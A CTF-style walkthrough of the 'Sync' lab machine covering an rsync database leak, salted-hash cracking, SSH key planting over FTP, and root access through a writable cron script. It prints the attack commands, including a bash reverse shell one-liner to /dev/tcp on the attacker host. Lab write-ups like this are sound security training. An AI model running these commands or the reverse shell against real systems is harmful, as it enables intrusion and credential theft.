Introduction

This is a write-up / walkthrough of the vulnlab and hack the box machine “Sync”. This machine involved a foothold using credentials obtained from an exposed database using rsync and then using FTP to upload an SSH public key for shell access. The privilege escalation involved lateral movement from another user and exploiting a cron job being run as the root user. In this write-up and walkthrough I will go over how to solve this lab using my methodology and techniques.

NOTE: The IP will change on some of the commands and screenshots as this was completed in a span of a few days.

This machine and lab can be found on both vulnlab and hack the box platforms.

Enumeration

rustscan

I start by running rustscan to quickly go through all the ports on the target to check for any uncommon services and ports:

rustscan -a 10.10.113.48 --ulimit 5000 --range 1-65535 -- -sVC -Pn

We can see open ports for ftp, ssh, a web server and rsync:

We’re going to attempt to download the files from the FTP server via anonymous login – but the server refuses.

wget --recursive --ftp-user=anonymous --ftp-password=any --no-passive-ftp ftp://10.10.113.48

Web Server – SQL Injection Bypass

I attempt default admin creds to login to the web server but get an error:

We try to run a list of SQL injection payloads with Caido to see if we can bypass the login page.

A few of the payloads work and when I replay the request in the browser, I am able to access the dashboard:

After replaying the request in my browser I’m able to access the admin dashboard here.

I check the page source but there isn’t much here.

rsync – file download

I next attempt to access the rsync file transfer service running on port 873

First I run the following netcat command to check for folders I can sync locally on the target server:

nc -vn 10.10.113.48 873

We can see two folders to potentially download onto our machine.

I run the following command to list the files in the httpd folder:

rsync -av --list-only rsync://10.10.113.48/httpd

This seems to be showing the web server files. Next, I’m going to download all the folders and files from this directory by running this command:

rsync -av rsync://10.10.113.48/httpd ./httpd

I run tree to check all the sub folder contents from the download.

We can see the site database in the file site.db and access it with sqlite3

I check the users table and find the following users and password hashes:

1|admin|7658a2741c9df3a97c819584db6e6b3c
2|triss|a0de4d7f81676c3ea9eabcadfd2536f6

Cracking Hashes with Custom Script

I check crackstation to see if any of these hashes are already in rainbow tables but so far there are no hits.

I analyze the hashes to see what they are and get a list of options with the following command, but it seems that this is MD5 most likely:

echo -n "7658a2741c9df3a97c819584db6e6b3c" | hashid

I check the index.php file that came with the previous rsync download and see a potential password salt in the page source. Additionally we can see how this hash is constructed through the $hash value that you can see highlighted below. This is important to note as trying to crack these values with hashcat or john will not work due to its structure/formatting.

You can use my script here to crack the hash with the obtained salt: https://github.com/Z333RO/security-tools-public/blob/main/cracking/hash_cracker_salt.py

We run the script, input the values we obtained including the hashed password/credentials and salt:

The custom script worked because it correctly implemented the specific hash input format required by the target system – based on the code we analyzed on the index.php file, combining the salt, username, and password as salt|username|password.

Foothold – FTP File Upload and SSH Key Generation

Using the obtained creds for the triss user, we can try accessing the previously identified FTP service:

ftp triss@10.10.82.229
gerald

I notice it doesn’t return any values when trying to list, so I run the following command to list all.

ls -a

Upon further observation, it seems we have access to this user’s home folder based on the available files such as the .bash_history file:

Since we have access to this user’s home folder, we are going to attempt to obtain SSH access by uploading an SSH public key after we generate a private key on our local attacker machine.

I run the following command to generate an SSH private and public key on my local machine – NOTE: I set the password to “password” in this walkthrough when prompted:

ssh-keygen -f /home/kali/targets/vulnlab/sync/id_rsa

Next I create the authorized_keys file with the following commands:

touch authorized_keys
cat id_rsa.pub
echo "ssh-rsa some_strings_here= kali@kali" > authorized_keys

I connect back to the FTP service and create the .ssh folder in the directory, change to it and upload/put the newly created authorized_keys from my local machine to the target:

Before I use the ssh private key to authenticate and access the target machine, I make sure to change the permissions to 700 with chmod 700 id_rsa as seen below and run ssh triss@10.10.82.229 -i id_rsa to successfully SSH into the target machine.

Privesc – Cron job

I check the /etc/passwd file and see another user named jennifer and sa. Unfortunately I am unable to read the shadow file to try and crack with john.

I transfer over pspy using my python server and run it on the target machine to check for any interesting routine scripts running.

python3 -m http.server 80

wget http://10.8.2.31:80/pspy64

I add permissions with chmod +x pspy64 so I can run pspy on the /tmp folder of the target machine.

I see an interesting backup script running on this location that is being executed by the root user which is indicated with UID=0

Reading the backup.sh script we can see it zipping the passwd and shadow file into the /backup folder.

We can see these files being backed up every 2 minutes:

I run the following command with secure copy scp to download one of the zip files via SSH onto my local machine:

scp -i id_rsa triss@10.10.82.229:/backup/1757180161.zip ~/targets/vulnlab/sync/

I use the unzip command to access the contents.

I checked the shadow file and can finally see the contents.

I attempted to run unshadow passwd shadow > crack_this to combine the passwd and shadow file to crack with john, but it was not recognizing the password hashes for some reason:

I did some Googling and found this post on stackexchange:

Apparently the hashes in the shadow file are using yescrypt. I checked to see if hashcat could crack this hash, but apparently this is something that hasn’t been implemented at all: https://github.com/hashcat/hashcat/issues/2816

There were some comments about workarounds and another mode, but that didn’t work at all for me.

I did some more searching and found a Twitter post that stated you could crack yescrypt with john. I then ran the following command with rockyou.txt and was able to crack the password for the user jennifer. I made sure to store the hash in a file called crack_jen with the following content:

Then finally ran john to crack it:

john --wordlist=/usr/share/wordlists/rockyou.txt --format=crypt crack_jen

It turns out I should have reused the same password from the previous user.

I was able to switch to the jennifer user and get the user flag.

I ran linpeas and checked this user’s sudo permissions – but couldn’t find a way to escalate my privs. So I went back and checked for the sa user that we identified earlier to crack the password hash for that user. Following the same steps from the previous user jennifer – I was able to crack the sa user’s password hash and obtain its credentials.

I switched again and checked to confirm I was the sa user:

From the previous output of pspy, we know that there is a backup.sh script that is being run by the root user. Checking the permissions of the file with ls -alt /usr/local/bin/backup.sh we can see that the sa user has permissions to write to the file.

I open up the backup.sh file with vim and add a reverse shell one-liner to connect back to my attacker machine: /bin/bash -c "bash -i>& /dev/tcp/10.8.2.31/8000 0>&1"

You can see me adding the one liner in the following screenshot:

After a couple of minutes, we can see a connection back to our machine via netcat and can now access the root.txt file for the root flag:

Conclusion

This lab was very nuanced and required some analysis of the fine details. It did not seem obvious at first but there was at least a couple of rabbit holes, especially with the SQL injection bypass. After completing the lab, it turns out there were other ways to get the user flag and even with the privesc to root. The password cracking was tricky, and was not very obvious in the beginning for the 2 instances you are required to do so. Overall, this was a very interesting and challenging machine to solve.

– Z333RO